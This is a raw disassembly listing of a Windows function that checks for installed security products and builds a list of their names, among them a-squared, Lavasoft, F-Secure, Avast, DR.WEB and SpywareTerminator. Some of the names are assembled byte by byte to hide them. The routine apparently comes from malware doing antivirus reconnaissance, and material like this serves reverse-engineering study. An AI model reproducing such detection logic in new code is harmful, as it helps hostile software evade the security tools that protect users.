lea eax, [ebp - 0xb4]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40cebc
push 4
lea eax, [ebp - 0xb4]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.a_squared
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x130]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40ceef
push 4
lea eax, [ebp - 0x130]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Lavasoft
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x78]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40cf46
push 4
lea eax, [ebp - 0x78]
push ebx
push eax
mov byte [ebp - 0x48], 0x46
mov byte [ebp - 0x47], 0x2d
mov byte [ebp - 0x46], 0x53
mov byte [ebp - 0x45], 0x65
mov byte [ebp - 0x44], 0x63
mov byte [ebp - 0x43], 0x75
mov byte [ebp - 0x42], 0x72
mov byte [ebp - 0x41], 0x65
mov byte [ebp - 0x40], 0xb1
mov byte [ebp - 0x3f], 0xbe
mov byte [ebp - 0x3e], bl
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x110]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40cf79
push 4
lea eax, [ebp - 0x110]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.The_Cleaner
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x160]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40cfac
push 4
lea eax, [ebp - 0x160]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.vb32
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x9c]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40cfdf
push 4
lea eax, [ebp - 0x9c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Mongoosa
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x208]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d012
push 4
lea eax, [ebp - 0x208]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Coranti2012
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x60]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d03f
push 4
lea eax, [ebp - 0x60]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.F_PROT
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x170]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d072
push 4
lea eax, [ebp - 0x170]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.CMC
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x190]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d0a5
push 4
lea eax, [ebp - 0x190]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c1b8
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x140]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d0d8
push 4
lea eax, [ebp - 0x140]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.UnThreat
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x1ec]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d10b
push 4
lea eax, [ebp - 0x1ec]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Shield_Antivirus
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x1b8]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d13e
push 4
lea eax, [ebp - 0x1b8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.VIRUSfighter
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x1d0]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d171
push 4
lea eax, [ebp - 0x1d0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.ArcaVir
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x6c]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d19e
push 4
lea eax, [ebp - 0x6c]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Immunet
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x1a4]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d1d1
push 4
lea eax, [ebp - 0x1a4]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.PSafe
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0xe0]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d204
push 4
lea eax, [ebp - 0xe0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.nProtect
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x224]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d237
push 4
lea eax, [ebp - 0x224]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.SpywareTerminator
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x180]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d269
push 4
lea eax, [ebp - 0x180]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x18]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0xa8]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d29e
push 4
lea eax, [ebp - 0xa8]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x244]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0xc0]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d2d0
push 4
lea eax, [ebp - 0xc0]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 8]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x100]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d302
push 4
lea eax, [ebp - 0x100]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x30]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d32e
push 4
lea eax, [ebp - 0x30]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x20]
push eax
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x10]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d35b
push 4
lea eax, [ebp - 0x10]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c12c
push esi
call edi
push 0x41b444
push esi
call edi
push 0x41c0a0
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d3a0
push 4
push ebx
push 0x41c0a0
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x44]
mov byte [ebp - 0x44], 0x41
mov byte [ebp - 0x43], 0x76
push eax
push esi
mov byte [ebp - 0x42], 0x61
mov byte [ebp - 0x41], 0x73
mov byte [ebp - 0x40], 0x74
mov byte [ebp - 0x3f], bl
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x84]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d3d3
push 4
lea eax, [ebp - 0x84]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.DR.WEB
push esi
call edi
push 0x41b444
push esi
call edi
lea eax, [ebp - 0x120]
push eax
call fcn.0040eec6
test eax, eax
pop ecx
je 0x40d406
push 4
lea eax, [ebp - 0x120]
push ebx
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x41c11c
push esi
call edi
push 0x41b444
push esi
call edi
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret